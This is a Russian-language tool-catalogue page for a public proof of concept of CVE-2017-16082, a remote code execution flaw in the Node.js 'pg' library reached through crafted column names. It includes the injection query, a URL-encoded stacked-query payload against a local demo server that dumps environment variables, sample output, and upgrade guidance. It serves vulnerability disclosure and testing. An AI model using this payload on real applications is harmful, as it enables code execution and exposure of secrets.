Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2017-16082 — NodeJS + Postgres (Удаленное выполнение кода) 🛰 | Kitploit
Инструменты/GitHubGitHub/nulldreams/cve-2017-16082
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность Баз Данных
GitHubnulldreams/cve-2017-16082

CVE-2017-16082

NodeJS + Postgres (Удаленное выполнение кода) 🛰

Репозиторий
527 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2017-16082

Обзор

Уязвимые версии pg содержат удалённую уязвимость выполнения кода, которая возникает, когда удалённая база данных или запрос указывает специально созданное имя столбца.

Существуют два конкретных сценария, в которых приложение, скорее всего, будет уязвимо:

  1. Приложение выполняет небезопасный SQL, предоставленный пользователем, который содержит вредоносные имена столбцов.
  2. Приложение подключается к ненадёжной базе данных и выполняет запрос, возвращающий результаты, содержащие вредоносное имя столбца.

Доказательство концепции

root@kitploit:~
const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
})

Устранение

  • Версия 2.x.x: Обновитесь до версии 2.11.2 или новее.
  • Версия 3.x.x: Обновитесь до версии 3.6.4 или новее.
  • Версия 4.x.x: Обновитесь до версии 4.5.7 или новее.
  • Версия 5.x.x: Обновитесь до версии 5.2.1 или новее.
  • Версия 6.x.x: Обновитесь до версии 6.4.2 или новее. (Обратите внимание, что версии 6.1.6, 6.2.5 и 6.3.3 также исправлены.)
  • Версия 7.x.x: Обновитесь до версии 7.1.2 или новее. (Обратите внимание, что версия 7.0.2 также исправлена.)
  • Локальный тест 💣

    git clone https://github.com/nulldreams/CVE-2017-16082.git

    cd CVE-2017-16082

    npm i && node server.js

    Отправьте запрос на localhost:5000/api/v1/users?id=1 Результат

    root@kitploit:~
    [
        {
            "id": 1,
            "username": "wubba",
            "password": "123",
            "createdAt": "2018-11-27T09:19:54.000Z",
            "updatedAt": "2018-11-27T09:19:54.000Z"
        }
    ]
    

    Теперь отправьте запрос с payload вида 1;SELECT 1 AS "\']=0;console.log(process.env)//" и закодируйте его с помощью url encoder

    Финальный URL: localhost:5000/api/v1/users?id=1%3BSELECT%201%20AS%20%22%5C%27%5D%3D0%3Bconsole.log(process.env)%2F%2F%22

    root@kitploit:~
    [
        {
            "id": 1,
            "username": "wubba",
            "password": "123",
            "createdAt": "2018-11-27T09:19:54.000Z",
            "updatedAt": "2018-11-27T09:19:54.000Z"
        },
        {
            "\\": 0
        }
    ]
    

    Проверьте терминал сервера.

    Скачать инструмент